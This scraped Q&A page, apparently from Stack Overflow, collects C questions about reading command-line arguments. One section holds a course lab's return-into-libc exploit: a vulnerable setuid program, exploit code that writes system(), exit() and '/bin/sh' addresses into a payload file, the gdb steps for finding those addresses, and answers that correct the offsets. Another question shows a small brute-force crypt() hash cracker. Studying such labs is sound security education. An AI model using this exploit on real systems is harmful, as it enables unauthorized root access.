How to get value of a command line argument in C - c

I am writing a program in which I need to get the value of the second command line argument to later determine what algorithm to use.
Command line argument: $ ./project2 FIRSTFIT 268435456 testfile.txt
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
//~~~~~~~~~~~~~~~~ Main
int main(int argc, char *argv[])
{
/*
Reading in the parameters from command line
argv[0] = the program
argv[1] = the type of memory allocation algorithm to use
argv[2] = N = total memory allocation
argv[3] = script file (.txt)
*/
char* memAlgoType = (char*)argv[1];
int totalMemAlloc = atoi(argv[2]);
FILE* file;
file = fopen(argv[3], "r");
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ First fit
if(strcmp(memAlgoType, "FIRSTFIT") == 0)
{
//code for first fit algorithm here
}
}
When I do this, I get segmentation faults (core dump) errors and on my XCode IDE, I get an EXC_BAD_ACCESS error when I use strcmp()
I have tried revising my code to char memAlgoType = (char)argv[1][0]; to only compare the first characters
I have tried strcpy(memAlgoType, argv[1]) and also tried the memcpy() method as well. All of which give me segmentation faults.

Check with argc if all arguments are provided.
NOTE: int totalMemAlloc = atoi(argv[2]); can be dangerous with large numbers.

Related

Variable is unexpectedly overwritten in for loop with crypt()

I'm trying to build a C program that will bruteforce a hash given in argument. Here is the code:
#include <unistd.h>
#include <stdio.h>
#include <crypt.h>
#include <string.h>
const char setting[] = "$6$QSX8hjVa$";
const char values[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int main(int argc, char *argv[])
{
char *hashToCrack = crypt(argv[1], setting);
printf("%s\n", hashToCrack);
for (int i = 0; i < strlen(values); i++)
{
printf("trying %c ...\n", values[i]);
char *try = crypt(&values[i], setting);
if (strcmp(hashToCrack, try) == 0)
{
printf("calc: %s\n", try);
printf("init: %s\n", hashToCrack);
printf("Found!\n");
}
}
return 0;
}
For convenience, I just give in argument a string that will be the one to crack. It is encrypted at the beginning of the main function (stored in hashToCrack). For now, I just work with one char. I compile the program this way: gcc main.c -o main -lcrypt -Wall.
The problem - When I launch this program, I have "Found!" in every iteration in the for loop. It seems that hashToCrack and try are the same. However, I never overwrite hashToCrack, so it should never change.
There is probably something I don't understand with pointers, but I can't find it.
Any idea ? :D
The crypt function returns a pointer to a static data buffer. So when you call it again, the string pointed to by hashToCrack changes.
You need to copy the results of the first call to crypt into a separate buffer.
char *hashToCrack = strdup(crypt(argv[1], setting));
Don't forget to call free on this buffer when you're done with it.

How do I run a python script and pass arguments to it in C

I have a python script script.py which takes command line params
I want to make a wrapper in C so I can call the script.py using ./script args
So far I have this in my script.c file
#include<stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
system("python3.4 script.py");
return 0;
}
How do I modify the script so I can do ./script arg1 arg2 and the C code executes system("python3.4 script.py arg1 arg2");
I don't have experience in C. Above code is from googling
Using system() is needlessly complicated in this case, as it effectively passes the given command string to (forked) sh -c <command>. This means that you'd have to handle possible quoting of arguments etc. when forming the command string:
% sh -c 'ls asdf asdf'
ls: cannot access 'asdf': No such file or directory
ls: cannot access 'asdf': No such file or directory
% sh -c 'ls "asdf asdf"'
ls: cannot access 'asdf asdf': No such file or directory
Note the difference between the unquoted and quoted versions.
I'd suggest using execve(), if executing the python command is the only purpose of your C program, as the exec family of functions do not return on success. It takes an array of const pointers to char as the new argv, which makes handling arguments easier:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define PYTHON "/usr/bin/python3"
#define SCRIPT "script.py"
int
main(int argc, char *argv[])
{
/* Reserve enough space for "python3", "script.py", argv[1..] copies
* and a terminating NULL, 1 + 1 + (argc - 1) + 1 */
int newargvsize = argc + 2;
/* VLA could be used here as well. */
char **newargv = malloc(newargvsize * sizeof(*newargv));
char *newenv[] = { NULL };
newargv[0] = PYTHON;
newargv[1] = SCRIPT;
/* execve requires a NULL terminated argv */
newargv[newargvsize - 1] = NULL;
/* Copy over argv[1..] */
memcpy(&newargv[2], &argv[1], (argc - 1) * sizeof(*newargv));
/* execve does not return on success */
execve(PYTHON, newargv, newenv);
perror("execve");
exit(EXIT_FAILURE);
}
As pointed out by others, you should use the official APIs for this, if at all possible.
You can generate your command as a string. You just need to loop through argv[] to append each parameters given to the C program at then end of your command string. Then you can use your command string as the argument for the system() function.

Return-into-libc Attack

This is a two part question:
a)I am working with a Return-into-libc attack and not getting a root shell for some reason. I am supposed to take a vulnerable program: retlib.c.
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
I am using my exploit: exploit_1.c
/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
*(long *) &buf[16] = 0x40076430; // system()
*(long *) &buf[20] = 0x40069fb0; // exit()
fwrite(buf, 40, 1, badfile);
fclose(badfile);
}
I found the addresses of system and exit using gdb:
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1
Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb)
I found the /bin/sh address using the myshell.c program:
//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main (){
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int) shell);
}
Than using the commands:
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ ./myshell
bffffe86
I feel like I have done everything right, but I keep getting a "Segmentation fault (core dumped)". I am using no -fstack-protector, chmod 4755 and ASLR turned off. Any thoughts on what is wrong?
b) I am also working with retlib-env.c:
/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
char* shell=getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int)shell);
badfile = fopen("badfile", "r");
//system(shell);
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
This seems to me to be similar to part a, but "In this example, the vulnerable program retlib-env.c will reference MYSHELL environment." I don't know what I need to add to my exploit to make it work. Any hints or nudges in the right direction would be really helpful. I have MYSHELL, but i'm not really sure how I need to reference it to exploit the retlib-env.c. Shouldn't it be pretty similar to part a?
Probably the addresses of functions system(), exit() etc change at every program invocation. You cannot rely on loadng the pogram, degbugging for these addresses, closing the debug session and running the program again as the perogram may have been loaded at a completely different starting address the second time.
$gdb -q retlib
You need to find system and exit address of retlib not exploit. Exploit only prepare a exploit file. Retlib reads this file till buffer overflow. As far as I know the system address segment should start 12 after the buffer that means it will be buf[24].
The length of the program's name will influence the address of the environment variables in the stack. To get the correct address of string /bin/sh, you should keep the length of the program to search /bin/sh (i.e. myshell) equals the length of your final attack program (i.e. retlib).
Besides, you need to find out the return frame address which is supposed to be 4 plus the distance between ebp and &buffer in bof, which is supposed to be 20+4=24 rather than 16 in your code. You can verifiy it by gdb on the program compiled with flag -g.

fopen() and command line arguments

I'm trying to write a program that will read the first character in a text file. If I use ./a.out myfile.txt it works as intended but if I use ./a.out <myfile.txt I get Segmentation fault: 11. The reason why I'm trying to include the <is because this what is in the spec of the assignment. The below code is just a simplified example that i've made that has the same issue:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
int func(int argc, char **argv){
FILE *fp;
int test = 0;
fp = fopen(argv[1], "r");
fscanf(fp, "%i", &test);
printf( "current file: %s \n", argv[1]);
}
int main(int argc, char **argv){
func(argc, argv);
}
Is there any way I can get it to accept the argument as <myfile.txt?
No, nor should you try. Files redirected this way will appear at stdin and you should use that instead (hint: check argc).
If you want to use a file if specified, but otherwise stdin, use something like:
if (argc > 1)
fp = fopen(argv[1], "r");
else
fp = stdin;
In your command ./a.out <myfile you redirect stdin to myfile. This means reading from stdin is actually reading from myfile. So, in this case your argc == 1, so argv[1] you use to open is NULL (see main spec on its arguments). fopen crashes when uses NULL name.
You may do your utility in another way: always read stdin. When you need file to input do like this: cat myfile | ./a.out. This is very nice approach and worth considering.

Reading command line parameters

I have made little program for computing pi (π) as an integral. Now I am facing a question how to extend it to compute an integral, which will be given as an extra parameter when starting an application. How do I deal with such a parameter in a program?
When you write your main function, you typically see one of two definitions:
int main(void)
int main(int argc, char **argv)
The second form will allow you to access the command line arguments passed to the program, and the number of arguments specified (arguments are separated by spaces).
The arguments to main are:
int argc - the number of arguments passed into your program when it was run. It is at least 1.
char **argv - this is a pointer-to-char *. It can alternatively be this: char *argv[], which means 'array of char *'. This is an array of C-style-string pointers.
Basic Example
For example, you could do this to print out the arguments passed to your C program:
#include <stdio.h>
int main(int argc, char **argv)
{
for (int i = 0; i < argc; ++i)
{
printf("argv[%d]: %s\n", i, argv[i]);
}
}
I'm using GCC 4.5 to compile a file I called args.c. It'll compile and build a default a.out executable.
[birryree#lilun c_code]$ gcc -std=c99 args.c
Now run it...
[birryree#lilun c_code]$ ./a.out hello there
argv[0]: ./a.out
argv[1]: hello
argv[2]: there
So you can see that in argv, argv[0] is the name of the program you ran (this is not standards-defined behavior, but is common. Your arguments start at argv[1] and beyond.
So basically, if you wanted a single parameter, you could say...
./myprogram integral
A Simple Case for You
And you could check if argv[1] was integral, maybe like strcmp("integral", argv[1]) == 0.
So in your code...
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
if (argc < 2) // no arguments were passed
{
// do something
}
if (strcmp("integral", argv[1]) == 0)
{
runIntegral(...); //or something
}
else
{
// do something else.
}
}
Better command line parsing
Of course, this was all very rudimentary, and as your program gets more complex, you'll likely want more advanced command line handling. For that, you could use a library like GNU getopt.
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
int i, parameter = 0;
if (argc >= 2) {
/* there is 1 parameter (or more) in the command line used */
/* argv[0] may point to the program name */
/* argv[1] points to the 1st parameter */
/* argv[argc] is NULL */
parameter = atoi(argv[1]); /* better to use strtol */
if (parameter > 0) {
for (i = 0; i < parameter; i++) printf("%d ", i);
} else {
fprintf(stderr, "Please use a positive integer.\n");
}
}
return 0;
}
Parsing command line arguments in a primitive way as explained in the above answers is reasonable as long as the number of parameters that you need to deal with is not too much.
I strongly suggest you to use an industrial strength library for handling the command line arguments.
This will make your code more professional.
Such a library for C++ is available in the following website. I have used this library in many of my projects, hence I can confidently say that this one of the easiest yet useful library for command line argument parsing. Besides, since it is just a template library, it is easier to import into your project.
http://tclap.sourceforge.net/
A similar library is available for C as well.
http://argtable.sourceforge.net/
There's also a C standard built-in library to get command line arguments: getopt
You can check it on Wikipedia or in Argument-parsing helpers for C/Unix.

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